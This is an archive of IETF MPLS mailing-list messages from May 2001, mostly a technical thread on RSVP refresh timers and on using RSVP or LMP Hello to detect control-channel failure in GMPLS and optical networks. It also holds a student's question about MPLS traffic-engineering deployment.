Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqpa16493
	for <mpls@uu.net>; Fri, 25 May 2001 21:34:21 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f79.law10.hotmail.com [64.4.15.79])
	id QQkqpa14822
	for <mpls@uu.net>; Fri, 25 May 2001 21:34:21 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 25 May 2001 14:34:20 -0700
Received: from 213.8.192.168 by lw10fd.law10.hotmail.msn.com with HTTP;	Fri, 25 May 2001 21:34:20 GMT
X-Originating-IP: [213.8.192.168]
From: "Shawn H" <sah5@hotmail.com>
To: mpls@UU.NET
Cc: sah5@hotmail.com
Subject: [MPLS-wg] MPLS in today's networks
Date: Fri, 25 May 2001 21:34:20 -0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F79k7LiHdlQgdYXSVvR000030b8@hotmail.com>
X-OriginalArrivalTime: 25 May 2001 21:34:20.0796 (UTC) FILETIME=[758ACBC0:01C0E562]
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

I'm a student currently researching MPLS-TE technologies. With all the 
proposed methods and functionalities, I was wondering if anyone has some 
useful information/pointers to answers to the following questions:
* How widely is traffic engineering over MPLS deployed in today's networks?
* What applications of MPLS are in use today (TE, protection, BGP nexthop 
resolution, etc)?
* How widely used are TE offline planning tools?
* How do different vendors affect different deployments? That is, are the 
common functionalities mostly in use, or are there different proprietary 
methods used in different networks/SPs?

Thanks a lot for any useful information,
Shawn.

_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.



From owner-mpls@UU.NET  Fri May 25 17:40:26 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA25643
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 17:40:26 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqpa16194;
	Fri, 25 May 2001 21:37:37 GMT
Received: by mail-control.mail.uu.net 
	id QQkqpa08958
	for mpls-outgoing; Fri, 25 May 2001 21:36:59 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqpa08827
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 21:36:09 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqpa28284
	for <mpls@UU.NET>; Fri, 25 May 2001 21:33:01 GMT
Received: from pulsar.chromisys.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: 200-139.adsl6.netlojix.net [207.71.200.139] (may be forged))
	id QQkqpa14378
	for <mpls@UU.NET>; Fri, 25 May 2001 21:33:01 GMT
Received: by pulsar.chromisys.com with Internet Mail Service (5.5.2653.19)
	id <LD7YGSGD>; Fri, 25 May 2001 14:29:51 -0700
Message-ID: <C12BBE1C7A8F7344808CD8C2A345DFB821C5CC@pulsar.chromisys.com>
From: Jonathan Lang <jplang@calient.net>
To: "'Fong Liaw'" <fliaw@zaffire.com>, "'suresh Katukam'" <skatukam@cisco.com>,
        v.sharma@ieee.org
Cc: "'Jennifer Yates'" <jyates@research.att.com>, mpls@UU.NET,
        ccamp@ops.ietf.org
Subject: RE: Last call - RSVP problems
Date: Fri, 25 May 2001 14:29:51 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Fong,


<snip>
> Same as (2), any proposals that remove the refresh mechanism 
> is going to be difficult to prove that all cases are covered.
> 
> Instead, we (will) recommend the following in OIF UNI document:
>    
>    Use RSVP Hello to detect control channel failure.
Why wouldn't you use the LMP Hello to detect control channel failure?  This
is exactly what it is designed for.  From draft-ietf-mpls-lsp-tunnel-08.txt,

  "This (RSVP Hello) mechanism is intended to be used when notification of
link layer
   failures is not available and unnumbered links are not used, or when
   the failure detection mechanisms provided by the link layer are not
   sufficient for timely node failure detection."
 
>    If a control channel failure is detected, LSPs states 
>    are maintained as if a node continues to receive 
>    RSVP refresh message from the failed control channel.
>    The recommended Hello timer will be in second range,
>    instead of ms range specified in RSVP-TE draft.  
> 
>    If a control channel failed permanently, manual intervention 
>    may be required. This is to be studied.
> 
> p.s The text is currently being drafted as we type.



From owner-mpls@UU.NET  Fri May 25 17:53:55 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA25861
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 17:53:55 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqpb21063;
	Fri, 25 May 2001 21:51:54 GMT
Received: by mail-control.mail.uu.net 
	id QQkqpb10319
	for mpls-outgoing; Fri, 25 May 2001 21:50:02 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqpb10262
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 21:49:31 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqpb22872
	for <mpls@UU.NET>; Fri, 25 May 2001 21:49:22 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkqpb22249
	for <mpls@UU.NET>; Fri, 25 May 2001 21:49:22 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA09466
	for <mpls@UU.NET>; Fri, 25 May 2001 17:49:19 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA05299
	for <mpls@UU.NET>; Fri, 25 May 2001 17:49:22 -0400 (EDT)
Message-ID: <3B0ED367.861BFDC@marconi.com>
Date: Fri, 25 May 2001 17:49:27 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Last call - RSVP problems
References: <4611AD058694D4118FD5009027B0A6622B8E5B@ICARIAN>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Fong Liaw wrote:
> 
> "Infinite timer" is actually very problematice with RSVP.
> We have specifically recommend NOT to use this, after attempting
> to do it.

Eliminating refreshes over a link can cause a lot of problems in RSVP,
unless two things are done:

1: Hellos must be active on the link.  Without refreshes, the only
   way to detect failures is either Hello or loss of carrier on the
   fiber.  And loss of carrier won't happen in the case of a software
   failure.  Without Hellos, the only way to detect a software failure
   is missed refresh messages.

2: The reliable message delivery (MESSAGE_ID) mechanism of the RSVP
   Refresh Reduction RFC (Section 4 of RFC 2961) is in place on the
   link.  Without this, you can't be sure that a message sent was
   actually received.  Straight RSVP doesn't have a problem with this,
   because a missed packet will be repeated via the refresh mechanism.
   But if the refresh interval is very large, there must be some other
   means to make sure a message is delivered.

When both of these are in place, then there shouldn't be a problem
increasing the refresh interval to a very large amount, or infinite.

> Instead, we (will) recommend the following in OIF UNI document:
> 
>    Use RSVP Hello to detect control channel failure.
>    If a control channel failure is detected, LSPs states
>    are maintained as if a node continues to receive
>    RSVP refresh message from the failed control channel.
>    The recommended Hello timer will be in second range,
>    instead of ms range specified in RSVP-TE draft.
> 
>    If a control channel failed permanently, manual intervention
>    may be required. This is to be studied.

If you don't tear down state when a failure is detected, what's the
point of having a failure detection mechanism at all?

-- David


From owner-mpls@UU.NET  Fri May 25 17:56:06 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA25906
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 17:56:01 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqpb19450;
	Fri, 25 May 2001 21:50:26 GMT
Received: by mail-control.mail.uu.net 
	id QQkqpb10295
	for mpls-outgoing; Fri, 25 May 2001 21:49:54 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqpb10260
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 21:49:30 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqpb25959
	for <mpls@UU.NET>; Fri, 25 May 2001 21:49:14 GMT
Received: from icarian.ZAFFIRE.COM by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: int.zaffire.com [63.121.21.2])
	id QQkqpb22185
	for <mpls@UU.NET>; Fri, 25 May 2001 21:49:14 GMT
Received: by ICARIAN with Internet Mail Service (5.5.2653.19)
	id <LQZ8TVFC>; Fri, 25 May 2001 14:49:16 -0700
Message-ID: <4611AD058694D4118FD5009027B0A6622B8E5E@ICARIAN>
From: Fong Liaw <fliaw@zaffire.com>
To: "'Jonathan Lang'" <jplang@calient.net>, Fong Liaw <fliaw@zaffire.com>,
        "'suresh Katukam'" <skatukam@cisco.com>, v.sharma@ieee.org
Cc: "'Jennifer Yates'" <jyates@research.att.com>, mpls@UU.NET,
        ccamp@ops.ietf.org
Subject: RE: Last call - RSVP problems
Date: Fri, 25 May 2001 14:49:15 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Jonathan

>  -----Original Message-----
>  From: Jonathan Lang [mailto:jplang@calient.net]
>  Sent: Friday, May 25, 2001 2:30 PM
>  To: 'Fong Liaw'; 'suresh Katukam'; v.sharma@ieee.org
>  Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
>  Subject: RE: Last call - RSVP problems
>  
>  
>  Fong,
>  
>  
>  <snip>
>  > Same as (2), any proposals that remove the refresh mechanism 
>  > is going to be difficult to prove that all cases are covered.
>  > 
>  > Instead, we (will) recommend the following in OIF UNI document:
>  >    
>  >    Use RSVP Hello to detect control channel failure.
>  Why wouldn't you use the LMP Hello to detect control channel 
>  failure?  This
>  is exactly what it is designed for.  From 
>  draft-ietf-mpls-lsp-tunnel-08.txt,
>  

I agree that if LMP or any link layer fault detection technology
(such as using SONET/SDH overhead to determine DCC down) can detect
control channel failure, we don't need to use RSVP Hello.

Note, In a node failure case, a node may lose all of 
its RSVP states. To cover this case, we recommend 
using the Srefresh procedure upon restoration of 
control channel. This will synchronize states on 
both sides.  

Regards,
-Fong

 >    "This (RSVP Hello) mechanism is intended to be used when 
>  notification of
>  link layer
>     failures is not available and unnumbered links are not 
>  used, or when
>     the failure detection mechanisms provided by the link 
>  layer are not
>     sufficient for timely node failure detection."
>   
>  >    If a control channel failure is detected, LSPs states 
>  >    are maintained as if a node continues to receive 
>  >    RSVP refresh message from the failed control channel.
>  >    The recommended Hello timer will be in second range,
>  >    instead of ms range specified in RSVP-TE draft.  
>  > 
>  >    If a control channel failed permanently, manual intervention 
>  >    may be required. This is to be studied.
>  > 
>  > p.s The text is currently being drafted as we type.
>  


From owner-mpls@UU.NET  Fri May 25 18:06:56 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA26108
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 18:06:56 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqpc00756;
	Fri, 25 May 2001 22:04:04 GMT
Received: by mail-control.mail.uu.net 
	id QQkqpc19997
	for mpls-outgoing; Fri, 25 May 2001 22:03:30 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqpc19624
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 22:03:23 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqpc14028
	for <mpls@UU.NET>; Fri, 25 May 2001 22:01:13 GMT
Received: from mail-blue.research.att.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQkqpc28780
	for <mpls@UU.NET>; Fri, 25 May 2001 22:01:13 GMT
Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id A806F4DF0F; Fri, 25 May 2001 18:01:11 -0400 (EDT)
Received: from research.att.com (pc-summer-gli.research.att.com [135.207.26.95])
	by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id SAA20841;
	Fri, 25 May 2001 18:01:11 -0400 (EDT)
Message-ID: <3B0ED71B.F0277E4A@research.att.com>
Date: Fri, 25 May 2001 18:05:15 -0400
From: Guangzhi Li <gli@research.att.com>
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Fong Liaw <fliaw@zaffire.com>
Cc: "'suresh Katukam'" <skatukam@cisco.com>, v.sharma@ieee.org,
        "'Jennifer Yates'" <jyates@research.att.com>, mpls@UU.NET,
        ccamp@ops.ietf.org
Subject: Re: Last call - RSVP problems
References: <4611AD058694D4118FD5009027B0A6622B8E5B@ICARIAN>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Fong:

>  "Infinite timer" is actually very problematice with RSVP.
> We have specifically recommend NOT to use this, after attempting
> to do it.

What are the specific problems? RSVP uses soft state because the traffic
route may change. In transport networks, the working path does not change
except restoration. If you can explain more, that would be help.

Let's see whether we can cover these problems from other methods, such as
link layer hello and reliable transmisson.

> >  (3) is achieved when Refresh Timers are set to Infinite. By default,
> >  circuit is kept irrespective of failures.
> >
>
> Same as (2), any proposals that remove the refresh mechanism
> is going to be difficult to prove that all cases are covered.

Has anybody proved that some cases have not been covered ? or assume that it
will be difficult to prove that all cases are coved. The second claim may
not be enough to avoid the "infinite timer" solution. If there is a
fundamental requirement to require soft-state, the question will become
easy.

> Instead, we (will) recommend the following in OIF UNI document:
>
>    Use RSVP Hello to detect control channel failure.
>    If a control channel failure is detected, LSPs states
>    are maintained as if a node continues to receive
>    RSVP refresh message from the failed control channel.
>    The recommended Hello timer will be in second range,
>    instead of ms range specified in RSVP-TE draft.
>
>    If a control channel failed permanently, manual intervention
>    may be required. This is to be studied.
>
> p.s The text is currently being drafted as we type.

This is one solution. But GMPLS document does not include this.

> Regards,
> -Fong
>

Thanks,

-- Guangzhi



From owner-mpls@UU.NET  Fri May 25 18:11:06 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA26170
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 18:11:06 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqpc05302;
	Fri, 25 May 2001 22:09:04 GMT
Received: by mail-control.mail.uu.net 
	id QQkqpc01190
	for mpls-outgoing; Fri, 25 May 2001 22:08:16 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqpc01034
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 22:08:03 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqpc25957
	for <mpls@UU.NET>; Fri, 25 May 2001 22:07:51 GMT
Received: from mail-blue.research.att.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQkqpc06128
	for <mpls@UU.NET>; Fri, 25 May 2001 22:07:42 GMT
Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id A166D4D2B9; Fri, 25 May 2001 18:07:40 -0400 (EDT)
Received: from research.att.com (pc-summer-gli.research.att.com [135.207.26.95])
	by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id SAA21210;
	Fri, 25 May 2001 18:07:40 -0400 (EDT)
Message-ID: <3B0ED89F.BB9D9CA9@research.att.com>
Date: Fri, 25 May 2001 18:11:44 -0400
From: Guangzhi Li <gli@research.att.com>
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Fong Liaw <fliaw@zaffire.com>
Cc: "'Jonathan Lang'" <jplang@calient.net>,
        "'suresh Katukam'" <skatukam@cisco.com>, v.sharma@ieee.org,
        "'Jennifer Yates'" <jyates@research.att.com>, mpls@UU.NET,
        ccamp@ops.ietf.org
Subject: Re: Last call - RSVP problems
References: <4611AD058694D4118FD5009027B0A6622B8E5E@ICARIAN>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

>
> I agree that if LMP or any link layer fault detection technology
> (such as using SONET/SDH overhead to determine DCC down) can detect
> control channel failure, we don't need to use RSVP Hello.
>
> Note, In a node failure case, a node may lose all of
> its RSVP states. To cover this case, we recommend
> using the Srefresh procedure upon restoration of
> control channel. This will synchronize states on
> both sides.
>

Just thinking. If RSVP-PHOP uses node id instead of control channel
interface address, then control channel failure won't affect control
message forwarding. But node failure is still a problem.

-- Guangzhi






From owner-mpls@UU.NET  Fri May 25 18:18:56 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA26305
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 18:18:56 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqpd13753;
	Fri, 25 May 2001 22:17:26 GMT
Received: by mail-control.mail.uu.net 
	id QQkqpd02537
	for mpls-outgoing; Fri, 25 May 2001 22:15:00 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqpc02484
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 22:14:47 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqpc26136
	for <mpls@UU.net>; Fri, 25 May 2001 22:14:10 GMT
Received: from mail-blue.research.att.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQkqpc05324
	for <mpls@UU.net>; Fri, 25 May 2001 22:14:06 GMT
Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id D0FAA4CF46; Fri, 25 May 2001 18:14:04 -0400 (EDT)
Received: from research.att.com (pc-summer-gli.research.att.com [135.207.26.95])
	by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id SAA21667;
	Fri, 25 May 2001 18:14:04 -0400 (EDT)
Message-ID: <3B0EDA20.545992E3@research.att.com>
Date: Fri, 25 May 2001 18:18:08 -0400
From: Guangzhi Li <gli@research.att.com>
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET, ccamp@ops.ietf.org
Subject: GMPLS last call
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello,

I have one question on GMPLS contention solution.

Contention resolution has been extensively discussed for bi-directional
LSPs. However, it is not clear how contention would be resolved in a
network with both uni-directional and bi-directional LSPs.

Although the immediate applications for mixing uni-directional and
bi-directional LSPs in the same network is not really clear, a
consistent state machine is still required so as not to preclude this in

the future.

Has there been any consideration on this issue? If so, can someone
please explain the rules when contention occurs between a
uni-directional LSP and a bi-directional LSP.

Thanks,

-- Guanghzhi Li





From owner-mpls@UU.NET  Fri May 25 18:21:16 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA26351
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 18:21:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqpd14978;
	Fri, 25 May 2001 22:19:21 GMT
Received: by mail-control.mail.uu.net 
	id QQkqpd03132
	for mpls-outgoing; Fri, 25 May 2001 22:18:46 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqpd02971
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 22:16:56 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqpc07793
	for <mpls@UU.NET>; Fri, 25 May 2001 22:14:48 GMT
Received: from alpha.tellium.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpha.tellium.com [151.198.92.2])
	id QQkqpc11519
	for <mpls@UU.NET>; Fri, 25 May 2001 22:14:47 GMT
Received: from mail1.tellium.com (mail1 [151.198.92.140])
	by alpha.tellium.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id f4PMCIi13645;
	Fri, 25 May 2001 18:12:18 -0400 (EDT)
Received: by mail1.tellium.com with Internet Mail Service (5.5.2650.21)
	id <LSMXX2Z3>; Fri, 25 May 2001 18:16:15 -0400
Message-ID: <0CD7D73C734BD411AEE100B0D0220404019F68D3@mail1.tellium.com>
From: Dimitrios Pendarakis <DPendarakis@tellium.com>
To: "'Jonathan Lang'" <jplang@calient.net>, "'Fong Liaw'" <fliaw@zaffire.com>,
        "'suresh Katukam'" <skatukam@cisco.com>, v.sharma@ieee.org
Cc: "'Jennifer Yates'" <jyates@research.att.com>, mpls@UU.NET,
        ccamp@ops.ietf.org
Subject: RE: Last call - RSVP problems
Date: Fri, 25 May 2001 18:16:12 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Jonathan,

One point to consider is that the signaling control 
channel might be realized over a different link layer 
than LMP. For example, LMP might be running in-fiber
over SONET/SDH overhead bytes, while RSVP is running 
over an out-of-band network such a shared Ethernet.
RSVP Hello allows independent detection of signaling 
channel failure, so it's a useful option to keep.

Thanks,
Dimitris

Dimitris Pendarakis
Tellium, Inc.


> -----Original Message-----
> From: Jonathan Lang [mailto:jplang@calient.net]
> Sent: Friday, May 25, 2001 5:30 PM
> To: 'Fong Liaw'; 'suresh Katukam'; v.sharma@ieee.org
> Cc: 'Jennifer Yates'; mpls@UU.NET; ccamp@ops.ietf.org
> Subject: RE: Last call - RSVP problems
> 
> 
> Fong,
> 
> 
> <snip>
> > Same as (2), any proposals that remove the refresh mechanism 
> > is going to be difficult to prove that all cases are covered.
> > 
> > Instead, we (will) recommend the following in OIF UNI document:
> >    
> >    Use RSVP Hello to detect control channel failure.
> Why wouldn't you use the LMP Hello to detect control channel 
> failure?  This
> is exactly what it is designed for.  From 
> draft-ietf-mpls-lsp-tunnel-08.txt,
> 
>   "This (RSVP Hello) mechanism is intended to be used when 
> notification of
> link layer
>    failures is not available and unnumbered links are not 
> used, or when
>    the failure detection mechanisms provided by the link layer are not
>    sufficient for timely node failure detection."
>  
> >    If a control channel failure is detected, LSPs states 
> >    are maintained as if a node continues to receive 
> >    RSVP refresh message from the failed control channel.
> >    The recommended Hello timer will be in second range,
> >    instead of ms range specified in RSVP-TE draft.  
> > 
> >    If a control channel failed permanently, manual intervention 
> >    may be required. This is to be studied.
> > 
> > p.s The text is currently being drafted as we type.
> 


From owner-mpls@UU.NET  Fri May 25 18:29:28 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA26430
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 18:29:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqpd13452;
	Fri, 25 May 2001 22:26:50 GMT
Received: by mail-control.mail.uu.net 
	id QQkqpd04004
	for mpls-outgoing; Fri, 25 May 2001 22:26:17 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqpd03980
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 22:26:09 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqpd24311
	for <mpls@UU.NET>; Fri, 25 May 2001 22:25:32 GMT
Received: from icarian.ZAFFIRE.COM by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: int.zaffire.com [63.121.21.2])
	id QQkqpd12452
	for <mpls@UU.NET>; Fri, 25 May 2001 22:25:31 GMT
Received: by ICARIAN with Internet Mail Service (5.5.2653.19)
	id <LQZ8TVLB>; Fri, 25 May 2001 15:25:32 -0700
Message-ID: <4611AD058694D4118FD5009027B0A6622B8E60@ICARIAN>
From: Fong Liaw <fliaw@zaffire.com>
To: "'David Charlap'" <david.charlap@marconi.com>, mpls@UU.NET
Subject: RE: Last call - RSVP problems
Date: Fri, 25 May 2001 15:25:31 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

See inline

>  -----Original Message-----
>  From: David Charlap [mailto:david.charlap@marconi.com]
>  Sent: Friday, May 25, 2001 2:49 PM
>  To: mpls@UU.NET
>  Subject: Re: Last call - RSVP problems
>  
>  
>  Fong Liaw wrote:
>  > 
>  > "Infinite timer" is actually very problematice with RSVP.
>  > We have specifically recommend NOT to use this, after attempting
>  > to do it.
>  
>  Eliminating refreshes over a link can cause a lot of 
>  problems in RSVP,
>  unless two things are done:
>  
>  1: Hellos must be active on the link.  Without refreshes, the only
>     way to detect failures is either Hello or loss of carrier on the
>     fiber.  And loss of carrier won't happen in the case of a software
>     failure.  Without Hellos, the only way to detect a 
>  software failure
>     is missed refresh messages.

This is being recommended, plus using LMP hello etc, per Jonathan's
comment.

>  
>  2: The reliable message delivery (MESSAGE_ID) mechanism of the RSVP
>     Refresh Reduction RFC (Section 4 of RFC 2961) is in place on the
>     link.  Without this, you can't be sure that a message sent was
>     actually received.  Straight RSVP doesn't have a problem 
>  with this,
>     because a missed packet will be repeated via the refresh 
>  mechanism.
>     But if the refresh interval is very large, there must be 
>  some other
>     means to make sure a message is delivered.

This is also been recommended. The MESSAGE_ID ACK draft gives up
the retransmission after a preconfigured retry. We know we would
have very high probably that messages will be acked, but can we be
100% sure about the states in the case we receive no ackwnologyment 
to these message and we have extended the timer to infinite ?

>  
>  When both of these are in place, then there shouldn't be a problem
>  increasing the refresh interval to a very large amount, or infinite.
>  
>  > Instead, we (will) recommend the following in OIF UNI document:
>  > 
>  >    Use RSVP Hello to detect control channel failure.
>  >    If a control channel failure is detected, LSPs states
>  >    are maintained as if a node continues to receive
>  >    RSVP refresh message from the failed control channel.
>  >    The recommended Hello timer will be in second range,
>  >    instead of ms range specified in RSVP-TE draft.
>  > 
>  >    If a control channel failed permanently, manual intervention
>  >    may be required. This is to be studied.
>  
>  If you don't tear down state when a failure is detected, what's the
>  point of having a failure detection mechanism at all?

This is to address the requirement from transport networks
where a failure of control channel can not affect the
data plane state.  We wouldn't be having this discussion
if that is not a requirement :-)

